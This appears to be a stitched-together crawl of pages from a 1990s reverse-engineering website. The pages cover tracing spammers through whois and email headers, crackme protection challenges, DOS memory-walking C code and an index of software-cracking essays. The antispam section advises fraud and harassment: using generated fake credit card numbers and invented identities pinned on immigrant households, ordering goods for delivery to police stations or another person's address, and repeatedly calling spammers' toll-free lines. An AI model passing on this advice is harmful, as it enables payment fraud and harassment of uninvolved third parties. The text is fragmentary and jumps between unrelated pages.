REVERSE ADDRESS RESOLUTION PROTOCOL OPERATION CODES.............47
DYNAMIC REVERSE ARP.............................................47
X.25 TYPE NUMBERS...............................................48
PUBLIC DATA NETWORK NUMBERS.....................................49
TELNET OPTIONS..................................................51
MAIL ENCRYPTION TYPES...........................................52
Now let's say you want some more info about WHO ARE the people that have registered your target server,
then simply use once more an agora and query with:
send http://www.switch.ch/cgi-bin/info/whois?Query=fortunecity.com\
&Server=whois.internic.net
And thou shall get the following:
Results from WHOIS server whois.internic.net for query: fortunecity.com
--------------------------------------------------------------
To single out one record, look it up with "!xxx", where xxx is the
handle, shown in parenthesis following the name, which comes first.
Now, as you have read, you must be patient (the foremost quality of a good stalker): let's go on with what
they asked:
send http://www.switch.ch/cgi-bin/info/whois?Query=!FCMAIL-DOM\
&Server=whois.internic.net
And now we'll get a wealth of stalking information:
Registrant:
FortuneCity.Com Ltd (FCMAIL-DOM)
140 Offord Road,
Islington London., N1 1PF
UK
Administrative Contact:
Metcalfe, Dan (DM10032) dan@FORTUNECITY.COM
0171 700 1617 (FAX) 0171 609 2815
Technical Contact, Zone Contact:
Donnahoo, Lee (LD2352) lee@COMMTOUCH.COM
408-245-8682 (FAX) 408-245-3466
Billing Contact:
Metcalfe, Dan (DM10032) dan@FORTUNECITY.COM
0171 700 1617 (FAX) 0171 609 2815
PRONTODNS.PRONTOMAIL.COM 209.185.72.9
NS1.INFORMAIL.COM 207.135.122.6
NS3.EXODUS.NET 206.79.240.13
Of course you should perform the same query for all other addresses you got (ASKRIGG.COM etcetera...)
And the really funny thing is that you have NOT directly connected neither netcraft.com nor internic.net
from your real net-access provider. You went through a "tier" procedure like this:
Hope you understand what a dynamic IP is: it is the Web_access offered by AOL, Compuserve, whatever.
Of course it is de facto You'll find plenty of 2 months trial for free. You'll find plenty of 'trial' offers on every
magazines' CD-Rom, and of course you'll bnever confirm the contract at the end of the trial period: just
discard and begin (a week before the trial end) another free-trial with another dynamic provider. (Ask for
permission and then use your friends/colleagues/parents/grocers name and addresses if needed, you can carry
on 50 years like that :-) Now, the point is that all great providers will connect you to the web through ONE of
their many servers. This specific IP (for instance 212.211.27.146 for compuserve) will change EVERY
TIME you access your provider, and it is very difficult to track down. Add to this the fact that the free email
address hosting services (like yahoo.com, hotmail.com etcetera) use a plethora of different servers as well,
and you'll udnerstand that tracking back your own stalking activities (especially if you have followed my
advices and done them through an agora server) will be a nightmare even for a determined government
agency! Not that it couldn't be done at all, mind you, yet it would require the collaboration of so many
different entities (and it would violate so many privacy rules) that I consider it extremely unlikely that your
average targeted smut-side will ever be able to understand what's going on under his nose :-)
For added security yuou can of course configure A CHAIN of free web_email_providers that you have
instructed to resend automatically everything they get to the next one, where the last one has been instructed
to query ALWAYS an agora server with the content it gets.
Hope you understand the possibilities this open to your stalking activities in general (remember that agoras
accept only THREE commands: SEND, DEEP and SOURCE (for an explanation see fravia's how to search
lessons. Here the main agoras you'll use:
[british agora] ~ [italian agora] ~ [nippon agora]
This section of my site, under perennial construction, was started on 23 september 1998
fravia's antispam related page ~ fravia's antismut related pages
HONEST WARNING
I'm not a "professional" antispammer myself... if you're really into this, you better visit a "best
knowledge" dedicated site (Julian Byrne's) at http://kryten.eng.monash.edu.au/gspam.html, that I have in
part ripped off, and you better learn the best techniques by the Spam hater (His page will help you a lot to
make things HOT for stupid spammers).
Yet I'm a master reverser and a fairly good stalker, and my own techniques, coupled to the antispammer
knwoledge, can give some ineteresting results, as you'll be able to read either on this very page or, may
be, on my enemy.htm stalking page.
Byrne's Instructions
1. Step one is to look at all the headers of the message. News/email readers normally show only a
subset of the available headers to avoid screen clutter. Select the option that makes the hidden
headers visible. In Netscape select Options/Show all headers, in MSWIN Pegasus press ^H, in
Pine press H, in VM press t and in NewsExpress select File/ Options/ Compose/ Include
Headers. Other news/email readers have similar options.
2. Important headers are:
From:
Sender:
X-Sender:
Reply-To:
Errors-To:
Return-path:
Message-id:
Path:
Received:
All contain a network host name that may give you a clue as to who the spammer is. However, any
or all of them may be faked. It is common for spammers to send email from a throwaway account
at one site and solicit replies at other sites, so you may need to track down two or more network
locations. Make a list of all host names mentioned in the headers and in the body of the message.
These are the parts to the right of the @ sign in email addresses, between // and / in web links, in
the last Received: header and at the right end of the Path: between !'s.
Path: gives the list of hosts a news item passed through, from the poster's site at the right end to
get to your site at the left end. One or more entries on the right end may be faked so you may need
to cooperate with others to track down which host in the Path: list the message was injected at.
Like the Path: header Received: headers are a list of sites the message passed through in reverse
order but with only one host name per header. Again, the bottom entries (earlier timewise) in the
Received: list may be faked. It is also possible for spammers to relay email via a third party so that
the Received: header before your site's Received: headers may be a victim too. They're slack
though as they should've configured their mail servers not to relay third party email. Some
spammers also pretend to be innocent relay sites by forging additional Received: headers and
lying in response to complaints; complain to the so-called `relay' site's ISP if you suspect this is the
case.
Since intermediate sites always prepend headers then those higher in the list are much less likely
to be forged than those further down.
Even with normal, non-faked operation not all hosts or network routers a message passes through
are recorded in the Path: or Received: headers. Use TRACEROUTE to get a more complete list.
3. Host names usually have machine name and domain name parts. For example
kryten.eng.monash.edu.au has a machine name of kryten and domain name of
eng.monash.edu.au (engineering faculty, monash university, education sector, australia) with
larger domains monash.edu.au, edu.au and au. Look at your list of host names and see if you can
add some local domain names to the list by stripping machine names from host names. This is a
trial and error procedure and may not always give a valid result.
4. Some of the host/domain names you've discovered may actually be a numerical network IP
address eg. kryten's is 130.194.140.2. See in my links page how to find a host name given an IP
address and how to find an IP address given a host name. Add any new host/domain names
discovered to your list. IP addresses can have zero, one or several host names. Host names can
have zero, one or several IP addresses.
Some hosts and domains designate one or more hosts to handle any email directed to them. Use a
tool like the freeware (actually postcardware) and very good CyberKit (copyright 1996 by Luc
Neijens, Luc, you are invited to dinner by fravia+ :-) to find out if there are any such hosts.
5. DIG queries domain name servers for information about the host/domain names you've found. It
gives a mess of information, most of which you can ignore. You're not normally interested in
addresses associated with the site where DIG was run (in this case ?.monash.edu.au and
130.194.?.?) and you're also not interested in the NS and other records of the name servers that
supplied the information, just the info related to the host/domain you queried. This is in the ;;
ANSWERS: section and is the A internet IP address records, the MX mail exchanger records and
the PTR pointer to host name records. If they don't exist then the ;; ANSWERS: section will be
empty or non-existent. The ;; AUTHORITY RECORDS: and ;; ADDITIONAL RECORDS:
sections tell you what domain name server[s] are responsible for the part of the domain name
system (DNS) you have queried.
Any email sent to the queried host/domain will initially go via one of the hosts given by the MX
records if they exist, otherwise it will go to the host given by the A record. If there are no MX and
no A records then email will normally bounce. The MX and A host names may be in completely
different domains. Add any new domains to your list.
If an IP address has no corresponding hostname the SOA `start of authority' record can be used to
see which hosts/domains are responsible for that part of the net. Internic.net is responsible for
unallocated addresses so if you get this it usually means the queried IP address is faked or in error.
If there is no SOA record try doing a DIG ipaddress->hostname on another IP address which is in
the same subnet as the one you're interested in ie. vary the last number from 1 to 254. eg. For
130.194.140.37 you might try 130.194.140.66. Some machines are configured by accident or by
design to not reveal who is responsible for them. Alternatively, look for the owner of the subnet by
stripping off one or more right elements (eg. 130.194.140.2 -> 130.194.140 -> 130.194 -> 130).
6. Use Cyberkit's WHOIS to find the administrative and technical contacts for the hosts/domains/ip
address ranges you've discovered. This will give more contact information including email
addresses. If there is more than one WHOIS entry for the domain you've entered you'll get a list of
abbreviated entries. To get full information use an entry's key as a query string (eg. mci.net gives
keys MCI8-HST and MCI2-DOM). Add the host/domain names of the email addresses to your list.
You may need to strip off one more left elements of each domain before you get a domain that
WHOIS knows about (eg. eng.monash.edu.au -> monash.edu.au -> edu.au -> au). Similarly,
you may need to strip off one or more right elements of each IP address range before you get an IP
address range that WHOIS knows about (eg. 130.194.140.2 -> 130.194.140 -> 130.194 -> 130).
WHOIS also knows about company names and some user names. This WHOIS covers US
non-military domains only. For other domains see other WHOIS servers.
7. Use Cyberkit's TRACEROUTE to get a list of sites handling messages between this web server
host and each of the host/domain's. This can take several minutes. Ideally it should be from your
mail host but this should do. Alternatively, if you're running MSWindows 95 it comes with a
TRACEROUTE; run TRACERT in an MSDOS window. The last entry in the TRACEROUTE
results list should be the host/domain you're querying. The next-to-last should be the Internet
Service Provider (ISP) for your queried host/domain. The next-to-last for that ISP is their ISP and
so on. More than one host at the end of the list may be owned by the spammer and so you need to
use some judgement as to whether, when you send email to one of the hosts, you're talking to the
spammer or their ISP. Add the hosts at the end of the list together with their domains to your
host/domain list. This TRACEROUTE will have trouble if the test link is heavily loaded (likely
during Australian working hours). If so you could try other web TRACEROUTE's.
It is possible but rare for a spammer to forge the response to a TRACEROUTE so that sites later
in the list may be deceptive. If you suspect this is the case you will need to complain to all the
upstream ISP's as only they can determine where the forgery starts.
8. Use a web search engines to look for references to the domain names you've found. Look for
`domain' and `www.domain' Virtually all ISP's have web sites like this and you can use the web
pages to get some idea of whether it's actually the spammer or the ISP, together with the size,
contact addresses and the email/news policy of the ISP. In addition if it's a .net domain try a .com
domain and vice-versa; many companies use both. Be careful though as there are also many
completely unrelated companies using domain names differing only in the .net and .com ending.
You can check by looking at the WHOIS contact information and the IP addresses.
You can also use a altavista or Deja news to find out other information about your target spammer.
9. You should now have a list of hosts and domains with a fair idea of the spammer's addresses and
their ISP's addresses. Send an email to the spammer's ISP (this may or may not have the same
domain name as the spammer themselves) using the abuse@ address and a copy to the spammer
themselves. In the message include a copy of the spam with full headers, detail the reasons why
you find the spam unacceptable and request that they not do it again. If abuse@ bounces send the
message to admin@, root@ or postmaster@ and additionally ask them to configure an abuse@
address which forwards to their person responsible for handling net abuse. If the email addresses
aren't working you could try a fax gateway or check out the email search FAQ.
10. Large ISP's will generally not reply to you because they're too busy but if they receive enough
complaints (and if they are full of spammers they usually do) it is likely the spammer will be dealt
with. Most ISP's are good net citizens because it's in their own interest to maintain a good
reputation. If you see the spam again send another message but this time post a copy of the spam
with full headers to the news.admin.net-abuse.sightings newsgroup and let the experts have a go.
You may also want to email the ISP of the ISP. You should read the news.admin.net-abuse.*
newsgroups for a week or two to get a feel on how spammers operate and are dealt with. Be
warned that these newsgroups include plenty of argumentative and intentionally deceptive and
disruptive posts from spam supporters in addition to posts from people trying to reduce spam. Life
is fight.
A final warning: Any message on the internet which doesn't use strong encryption/authentication
techniques like PGP can be completely fake. Any text you read can be ripped off another site without any
notice of it. Great part of the preceding text, and part of the following has been RIPPED OFF the very
good (if a little too much USA oriented) page of Julyan Byrne, at
http://kryten.eng.monash.edu.au/gspam.html. (Yet I have already added material of mine and I intend to
add even more in the near future).
So what people tell you and what really goes on are NOT THE SAME THING! Head this!
Occasionally enemies on the net attack each other by tricking a third party into doing their dirty work for
them. Treat any address you get with suspicion until proven otherwise.
root@localhost
webmaster@[127.0.0.1]
webmaster@localhost
bounce@[127.0.0.1]
bounce@localhost
postmaster@[127.0.0.1] (*)
postmaster@localhost
[127.0.0.1] and localhost are often synonyms for `the current host'. If you're lucky the bounce addresses
will cause a bounce on the sender's machine as it tries to deliver to the non-existent user bounce. The last
two addresses will cause the spam to be delivered to the email administrator of the machine sending the
spam. The first four will have analogouos effects. If you're lucky that will be the ISP and not the
spammer themselves. So that you can be contacted make sure your posting body includes a signature that
gives your true email address, perhaps in encoded form to confuse automated address collectors that scan
news article bodies as well as article headers.
The simplest system seems tome to be the use of (at) and (point) inside the addresses, so that your
JohnHSmith@mymail.com will be "translated" as JohnHSmith(at)mymail(point)com... even complete
idiots should be able to understand this, at least I hope :-)
Let the stupid commercial spammers pay and stalk their real
identities at the same time!
Letting them pay is always great fun, valid also for non-spam commercial advertisements... :-)
If the spam includes a freecall 800 phone number (States) or a 'green' number (European Union) then,
by all means, use it. They are paying for that number and this transfers the costs where they belong. Keep
in mind that freecall numbers frequently use unblockable caller-id to get the caller's phone number so
you may want to freecall from a public phone. Repeatedly dial these phone numbers as this is NOT
illegal if you have forgotten to ask them something :-)
Just keep handy a list of freecalls spammers number and use it as soon as you have to wait for a plane or
a train or someone or else you happen to have some free time where there are some public phones
Be wary of non-freecalls numbers, as some area codes that are apparently local are actually international
and have exorbitant charge scams associated with them... all probmlems will be avoided if you use a
public phone.
This technique is themost elementary technique used in order to stalk the spammers: act like an
ineterested client in whatever the stupid spammer would like to sell, and get (social engineering
elementary techniques, of course) real info out of them, inputting to them totally faked info and data. It's
very easy, as you will see, and you'll get them. You'll annoy them just calling, but if you enjoy going the
whole way, then do prepare some valid amexco/visa card numbers (you'll find on the web as many fake
credit card numbers generators as you want) and have a couple of credible faked identities (best ones are
'immigrant' identities: when you fake an address and that address (and the telephone number you have
given) are possibly going to be checked, use some name (and people) like 'Wong' or 'Kiczielsky', or
'M'bungo' and give address (and corresponding telephone) in a huge house full of people that barely
speak English (or German, or Italian, or whatever you are siupposed to speak). You'll find a lot of these
'anonymity baits' with a little social engineering. Such 'refugees' decoys are the best thing you can use
when you are covering your tracks and/or faking addresses: confronted with a family of 25 immigrants
that do not speak the country language nor understand what the cuckoo is going on, the card society
agents themselves won't be able to understand if there was -or not- any malicious intent :-)
Ok, now you have your target, a fake credit card and a fake (yet existing) identity... order everything they
sell and let them deliver it to some impossible address, like your local police station, an abandoned
building or another spammer's real address (this is the most funny destination IMHO)
Unsolicited commercial e-mail will be proof-read with the help of the mailer, his postmaster, and if
necessary, his upstream provider(s).
The sender of any unsolicited email sent to this address agrees to pay EURO 350/email for
proofreading services.
Any junk email sent to this address will be placed in my junk email blacklist. Sender agrees to pay
Use special email addresses that are only valid for a limited time period, that are only valid when used
by a particular correspondent or are only valid for a single return email message. These approaches
require sophisticated use of email filtering programs and probably only make sense for somebody
technically literate and with a high volume of junk.
Study eudora's filter help files... note how one of the MOST ADVANCED filtering applications that
exist: Micro$oft's Exchange, does NOT explain you how to use its powerful filter assistants :-( s
This section is in fieri... in the mean time please read my smut-sites bombing pages... they may give you
some sound ideas :-)
enemy stalking
homepage links search engines +ORC students' essays academy database
tools javascripts wars cocktails anonimity academy antismut CGI-scripts
counter measures mail_fravia+
Is reverse engineering legal?
13 January 1998
Well, dear shareware programmers, if you feel you are advanced enough, and you understand now enough this whole
cracking stuff (that is, if you have duly studied a lot of essays) you may now learn and discuss some nice tricks to block any
lamer from cracking your code: +RCG has sent for instance a completely new "vxd-cryptological" approach to protecting
windoze! (You'll find it inside the Self32 saga) and there is a new heavy protection -ready for you to crack and to learn from-
as well :-)
18 January 1998
Well, here are +RCG's new protection ideas, among other things how to take softice on a boat ride and eventually how to
punish stupid crackers... :-)
This "protection schemes" section should be very useful for shareware programmers too, in their fight against "moron-pirates"
(against real crackers they have of course no chance). The survival of the shareware programmers, strange as it may seem, is
OUR CONCERN, as +Rcg explains in his approach... the only enemy of humanity is Micro$oft!
This is the reason we ask SPECIALLY shareware programmers to help in this section... strange isn't it? Crackers and
Shareware programmers fighting together... when the crocodile comes, cats and dogs form alliances.
Need new ideas about future protection schemes? Feel free to check our programmers' corner page as well!
(Of course the more than 200 students' essays will also offer you mighty unvaluable information in order to protect better your
programs :-)
self32.zip, by +RCG, 29 Nov 1997... download icname.dat AND self32.exe and crack it!
A first answer, by Zer0+ (26 December 1997)
Enjoy +RCG's self32 solution! __NEW__
Here you have some tasty snippets out of it:
The "self32 solution" link above is at the same time the road to +RCG's new protection approach
and his two splendid essays:
In fact +RCG has opened a COMPLETELY NEW AND ADVANCED path with his two essays and
with the accompaning programs and source code. Therefore I have decided to link them in an
'unusual' way, to filter lamers and newbyes a little and awaiting +RCG's updates and new
promised goodies. He writes: "Soon more (but you must work on your own)" and he's right, of
course. This is a WORK IN PROGRESS new section, that will -for obvious reasons- get along our
new 1998 +HCU's project 'Our tool' (API monitoring and vxd magic), which starts in these days
on the ristrected maillist. So you better contribute (and I mean contribute with some interesting
stuff) if you want to remain on this bandwagon... to cite +RCG's words:
you must know that a VxD can do everything
we want, no more Ring3 restrictions, you can
stop completely the system, read or write any
memory address, hook all interrupts or exceptions,
take control of the IO ports
You'll find inside this same protection tutorial a couple of solutions as well:
-----------------------------------------------------------------------------------
The first solution, by r0ketman (December 1997)
and an answer by flipper (December 1997)
and another solution, by +Rcg (December 1997)
and another answer by flipper (26 December 1997) __NEW__
C'mon, everyone: crack the vxd based protection scheme of this official HCU protector program!
Here is what +RCG himself writes about all this
BTW, this doc will teach you to protect, and I will also
attach "the official HCU protector program" and then we
will wait for someone able to reverse it.
Don't worry: I will explain you how it works (I will attach
the source as well, yet this won't help you too much from
a cracking point of view).
See above the Self32 saga in order to read +RCG's new CRYPTOGRAPHY AND MATHEMATICS
OF CHAOS and A FIRST INTRODUCTION TO VxD essays!
And on 15 January 1998 -a day after having released +RCG's heavy protection- I have already
received a quick solution by nothing less than Quine. +RCG, my friend, I believe we will have to
start to prepare "specific" protections against +HCUkers... the only question is: how?
fravia+,
of
+RCG's method: he left the relocation table untouched and there
are 9
relocations within the encrypted code. A relocation entails a
four
byte absolute address, usually into the data section. IDA, to
make
things convenient, tells us where these relocations are after we
make
the encrypted code undefined. We know that these addresses will
start
with at least 0040 and most of them with 004020 (since that's
where
the data section is). The addresses are at: (0,0), (0,f), (1,c),
(2,2), (2,7), (2,f), (3,4), (3,a), (4,0). Even if we assume only
that
they all start with 0040, that means that we can deduce all but
bytes
0, 3, 8, and b of the key right off the bat. Working on the
004020
assumption (which is correct in all but one case) we can deduce
everything except for byte 8 (needless to say, I had seen the
pattern
way before this, but I wanted to explain how it would work for any
key). However, since we know everything else at this point it
would
be fairly simple work to deduce byte 8. I address a lot of issues
related to this in the hasp essay (they use a 1000h byte long
string
for xor'ing) and suggest a more airtight protection method.
Later,
Quine
18 January 1998
Of course things do NOT finish here... and +RCG has sent some new (and very interesting)
protection ideas... I'm sure that you'll find the short essay by +RCG: HOW TO PROTECT
SOFTWARE BETTER - Part II very instructive. It deals, among other things, with the following
questions: Purpose of the "Our protection" section; The "delayed" protection scheme of the future;
The Port 70/71 trick; How to take Softice on a boat ride; Softice breakpoint magic explained and
defeated.
25 February 1998
A tough assembly protection: crack_me.htm
by +Aesculapius
A beautiful, great contribution by +Aesculapius, who gathers some ideas from Madmax's letters
(see below) and has prepared for you a real "cake": aescul.zip ready? steady? Go!
28 February 1998
jackrev.htm: Reversing +Aesculapius, A complete explanation of a very good assembler
protection
by Jack of Shadows
A beautiful, great solution by Jack of Shadows!
01 March 1998
aescures.htm: +Aesculapius' Answer to Jack of Shadows and +Seniors
Lotta important things for protectors and crackers alike!
10 March 1998
zelazny.zip: Jack of Shadows Answer: a modified 'Aesculapius_type' advanced protection
Is getting hot interesting for protectors and crackers alike!
12 November 1998
jn_essay.zip: NiKoDeMoS' The New Chaos Protection
'Welcome to a new era of protection, via the route of chaos'
A letter by Madmax!
Not everybody agrees with "higher language" protections... here a letter I have received from
Madmax! on 18 Sep 97... (I'm sure that most readers of my site know that Madmax! is NOT 'a
nobody' :-)
heya fravia+,
see ya,
madmax!
Well, what do YOU say about this matter? Any questions/advices/propositions?
Madmax! is right, as much as an assembly 'pure' good protection is much more difficult to hyde
inside calls after calls of overbloated code. Yet I believe that for instance +RCG's 'heavy'
protection proves that you can write a (fairly) good protection scheme in windoze, using an exe
and a vxd that together sum to less than 15.000 bytes (OK, OK, I know, 15.000 bytes are quite a
lot already). Besides, like it or not, most "programmers" out there would not know how to
program in assembly anyway, and are lobotomized by the overbloated programming 'languages'
of to-days 'frilly' trends, so they need some protection too, don't they?
Well, what do YOU say about this matter? Any questions/advices/propositions?
Here is sanity_sync's answer (15 January 1998):
I say:
sanity_sync__
You are deep inside fravia's page of reverse engineering, choose your way out:
The shareware programmer's corner Our own tools How to protect better
You may contact now +RCG using the following address: rcg__@latinmail.com
homepage links anonymity +ORC students' essays academy database
antismut tools cocktails search_forms mail_fravia
Is reverse engineering illegal?
Reversing
gods
Let's be clear, my friends: in the reversing
arenas we are - with few exceptions - but "small
ones", at time even good and clever, at times
even able to teach something to the 'reversing
establishment' but alltogether "dilettantes"
nonetheless. Small tiny web-reversers, lost in
the dark codewoods, that's what we are - more
or less.
This Lab will allow you to find utilities, or tutorials, or writings, published by the following "reversing
gods":
[Andrew Schulman] ~ [Jim Kyle] ~ [Matt Pietrek] ~ [+ORC] ~ [Quine] ~ [Stone] ~ [Saltine]
This section is in fieri (started July 1999) so don't complain: shut up and wait and send contributions
(especially biographical ones).
homepage links anonymity +ORC students' essays academy database bots wars
antismut tools cocktails javascript wars search_forms mail_fravia
Is reverse engineering illegal?
mem1
/*
MEM1.C -- walks DOS MCB chain(s): detailed version
Andrew Schulman and Jim Kyle, July 1990
*/
#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>
#include <string.h>
#include <dos.h>
#ifndef MK_FP
#define MK_FP(seg,ofs) ((FP)(((ULONG)(seg) << 16) | (ofs)))
#endif
#ifdef __TURBOC__
#define ASM asm
#else
#define ASM _asm
#endif
#ifdef __TURBOC__
#define GETVECT(x) getvect(x)
#else
#define GETVECT(x) _dos_getvect(x)
#endif
#pragma pack(1)
typedef struct {
BYTE type; /* 'M'=in chain; 'Z'=at end */
WORD owner; /* PSP of the owner */
WORD size; /* in 16-byte paragraphs */
BYTE unused[3];
BYTE dos4[8];
} MCB;
return 0;
}
if (IS_PSP(mcb))
{
void far *e = env(mcb); /* MSC wants lvalue */
if (env_seg = FP_SEG(e)) printf("%04X ", env_seg);
else printf(" ");
display_progname(mcb);
}
if (! vect_2e)
vect_2e = GETVECT(0x2e); /* do just once */
if (! mcb->owner)
printf("free ");
/* 0008 is not really a PSP; belongs to CONFIG.SYS */
else if (mcb->owner == 8)
printf("config ");
/* INT 2Eh belongs to master COMMAND.COM (or other shell) */
else if (belongs(vect_2e, FP_SEG(mcb), mcb->size))
printf("%s ", getenv("COMSPEC"));
/*
if the MCB owner is one more than the MCB segment then
psp := MCB owner
env_seg := make_far_pointer(psp, 2Ch)
e := make_far_pointer(env_seg, 0)
else
return NULL
*/
if (IS_PSP(mcb))
e = MK_FP(ENV_FM_PSP(mcb->owner), 0);
else
return (char far *) 0;
/*
Does this environment really belong to this PSP? An
environment is just another memory block, so its MCB is
located in the preceding paragraph. Make sure the env
MCB's owner is equal to the PSP whose environment this
supposedly is! Thanks to Rob Adams of Phar Lap Software
for pointing out the need for this check; this is a
good example of the sort of consistency check one must
do when working with undocumented DOS.
*/
env_mcb = MCB_FM_SEG(FP_SEG(e));
env_owner = ((MCB far *) MK_FP(env_mcb, 0))->owner;
return (env_owner == mcb->owner) ? e : (char far *) 0;
}
/* is there an environment? */
if (! (e = env(MK_FP(MCB_FM_SEG(psp), 0))))
return (char far *) 0;
/*
e now points to WORD containing number of strings following
environment; check for reasonable value: signed because
could be FFFFh; will normally be 1
*/
if ((*((signed far *) e) >= 1) && (*((signed far *) e) < 10))
{
e += sizeof(signed);
if (isalpha(*e))
return e; /* could make canonical with INT 21h AH=60h */
}
}
if (! vec)
{
if (! (vec = calloc(256, sizeof(void far *))))
fail("insufficient memory");
for (i=0; i<256; i++)
vec[i] = GETVECT(i);
}
mem2
/*
MEM2.C -- walks DOS MCB chain(s): simple version
Andrew Schulman and Jim Kyle, July 1990
*/
#include <stdlib.h>
#include <stdio.h>
#include <dos.h>
#ifndef MK_FP
#define MK_FP(seg,ofs) ((FP)(((ULONG)(seg) << 16) | (ofs)))
#endif
#ifdef __TURBOC__
#define ASM asm
#else
#define ASM _asm
#endif
#pragma pack(1)
typedef struct {
BYTE type; /* 'M'=in chain; 'Z'=at end */
WORD owner; /* PSP of the owner */
WORD size; /* in 16-byte paragraphs */
BYTE unused[3];
BYTE dos4[8];
} MCB;
for (;;)
switch (mcb->type)
{
case 'M' : /* Mark : belongs to MCB chain */
display(mcb);
mcb = MK_FP(FP_SEG(mcb) + mcb->size + 1, 0);
break;
case 'Z' : /* Zbikowski : end of MCB chain */
display(mcb);
return;
default :
fail("error in MCB chain");
}
}
#ifdef TRY_BUG
main(void)
{
unsigned segm;
ASM mov ah, 48h /* Allocate Memory Block */
ASM mov bx, 64h /* get 100 paragraphs */
ASM int 21h
ASM jc done
/* ax now holds initial segment of allocated block */
ASM mov segm, ax
printf("before: "); display(MK_FP(segm - 1, 0));
if (! mcb_chk(get_mcb()))
{
/* maybe do stack backtrace here, or dump registers */
puts("Error in MCB chain - prepare for halt...");
getchar();
}
else
puts("MCB chain ok");
return 0;
}
#endif
homepage links anonymity +ORC students' essays academy database bots wars
antismut tools cocktails javascript wars search_forms mail_fravia
Is reverse engineering illegal?
n 1
Academy of reverse engineering: ESSAYS 1-100
(Archive: 2 Mar 1997 - 4 Sep 1997)
How to reverse
05 May
Hackmore Readrite ~ readmo.htm engineer Portscan unass. ~ fra_000E
97
1.2b1
06 May
Epic Lord ~ Epiclo.htm Homesite Secrets unass. ~ fra_000F
97
TimeLOCK_DLL
07 May
Xoanon/PNC ~ xoanon.htm reverse engineering unass. ~ fra_0010
97
(TL32V20.DLL)
07 May How to crack
Kovi ~ kovi1.htm proj_0 ~ fra_0011
97 w32dasm version 8
How to crack all
09 May
Razzia ~ razzia.htm Visual Basic proj 8 ~ fra_0012
97
programs
12 May w32dasm version 8
Wuzat ~ wuzat.htm proj_0 ~ fra_0013
97 another approach
How to crack
12 May
desert eagle ~ vga1.htm VideoCraft Gif unass. ~ fra_0014
97
Animator
13 May Cracking Sega
+RCG ~ other1.htm unass. ~ fra_0015
97 games
13 May The flag's faking
Xoanon ~ xoanon2.htm unass. ~ fra_0016
97 approach
Quick "Non-Crack"
13 May
*OnCmC ~ oncmc.htm for all Wdasm proj_0 ~ fra_0017
97
versions
Visual Basic 4
13 May
+Sync ~ sync.htm cracking for proj 8 ~ fra_0018
97
newbyes
16 May Cubase 3
+Xoanon ~ xoacuba1.htm proj 3 ~ fra_0019
97 UNDONGLED!
Reverse
21 May engineering of
CASIMIR ~ casimir.htm unass. ~ fra_001A
97 Crypt-o-Text v1.21
& v1.24
26 May How to Neuter
+daQ ~ daq1.htm unass. ~ fra_001B
97 WebWhacker V2.0
26 May An interesting tool: unass.
fravia+ ~ ultrae2.htm ~ fra_001C
97 BRW
26 May
Frog's print ~ wi_frog2.htm Registry joggling proj_2 ~ fra_001D
97
WiniceNT
27 May
IgNorAMUS ~ wi_igno.htm cracking, a first proj_2 ~ fra_001E
97
approach
An introduction to
27 May
+RCG ~ wi_rcg2.htm virtual devices proj_2 ~ fra_001F
97
cracking
28 May Use of the Win32
Saltine ~ salt0001.htm unass. ~ fra_0020
97 API
Networker, the
28 May
Hackmore Readrite ~ ntworker.htm mistery of the unass. ~ fra_0021
97
missing file
How to crack the
30 Jun
Croock ~ crook.htm "uncrackable" test4 unass. ~ fra_0022
97
by LordByte
30 Jun Cracking W32dasm
Frog's Print ~ frognew.htm proj_0 ~ fra_0023
97 Version 8.htm5
How to reverse
02 Jul engineer Eudora
TheChineese ~ eudorauk.htm unass. ~ fra_0024
97 301's three
protections
How to reverse
03 Jul engineer
TheChineese ~ chine2.htm unass. ~ fra_0025
97 SERV-U32 (FTP
Daemon)
Defeating Pete
03 Jul
Hackmore Readrite ~ hackm1.htm Norton's unass. ~ fra_0026
97
protections
04 Jul
ACP ~ acpnet.htm Cookies begone! proj 5 ~ fra_0027
97
05 Jul BoundsChecker
Harwi ~ bouche.htm proj 2 ~ fra_0028
97 time limit defeated
05 Jul Hex Workshop 32 proj 7
Aesculapius ~ aescul3.htm ~ fra_0029
97 v. 2.53 proj 1
05 Jul Claris Home Page
TheChineese ~ claris.htm proj 7 ~ fra_002A
97 version 2.0
SmartDraw for
05 Jul
Frog's Print ~ smartdr.htm Windows95, proj 7 ~ fra_002B
97
Version 3.11
07 Jul TimeLock32 v2.0 unass.
Riz la+ ~ rizla.htm ~ fra_002C
97 reverse engineering
Reverse
08 Jul engineering Serif
ReZiDeNt ~ crackpp.htm unass. ~ fra_002D
97 PagePlus 4 Trial
Edition
Reverse
08 Jul engineering
Hackmore Readrite ~ ntsnocra.htm unass. ~ fra_002E
97 NetScanTool's
protection scheme
A pretty stupid
09 Jul
plushmm ~ stupi7.htm scheme: Spam proj 7 ~ fra_002F
97
Exterminator
Going undercover
10 Jul
+Yamato ~ going.htm and browsing on unass. ~ fra_0030
97
your own proxy
Cracking "Save
16 Jul
Zero ~ sdzero.htm disabled" proj 6 ~ fra_0031
97
protections
16 Jul A decompiler is
Zero ~ vbzero.htm proj 8 ~ fra_0032
97 enough!
Deeper WiniceNT
17 Jul
Birdy Harry ~ wi_birdy.htm cracking, working proj_2 ~ fra_0033
97
with HIEW
20 Jul A decompiler is
Frog's print ~ vb_frog.htm proj 8 ~ fra_0034
97 more than enough!
A tough protection
21 Jul
Aesculapius ~ aesc_adc.htm scheme: Advanced unass. ~ fra_0035
97
Disk Catalog
25 Jul Adobe's Pagemill
Kox ~ pagemill.htm unass. ~ fra_0036
97 Version 2
A good protection
25 Jul
+Sync ~ sync2.htm scheme: ZMUD unass. ~ fra_0037
97
4.62
How to crack
26 Jul Business Card
plushmm ~ plushm_2.htm unass. ~ fra_0038
97 Designer Plus
v5.00b
28 Jul Another "blacklist" proj 7
+SNikKkEL ~ snikkel.htm ~ fra_0039
97 protection
31 Jul Photoshop Filter
+daQ ~ daqnew.htm unass. ~ fra_003A
97 Hacking
FrontPage 98
15 Aug English beta 1 for proj 9
Epic Lord ~ epic2.htm ~ fra_0048
97 Windows 95 & NT
4.0
15 Aug The Trojan horse
SiuL Hacky ~ siulha2.htm proj 9 ~ fra_0049
97 race has just started
15 Aug Cracking
iNCuBuS++ ~ cubus2.htm proj 7 ~ fra_004A
97 WinHacker95 2.0
How to register
17 Aug
Heres ~ heres1.htm HexWorkshop proj 1 ~ fra_004B
97
v2.52 (32bit)
Reverse
17 Aug
+Rcg ~ rcgreve1.htm engineering unass. ~ fra_004C
97
Windows 95 itself
Kremlin 1.1, a
17 Aug
Jon ~ jon1.htm stupidly protected proj 7 ~ fra_004D
97
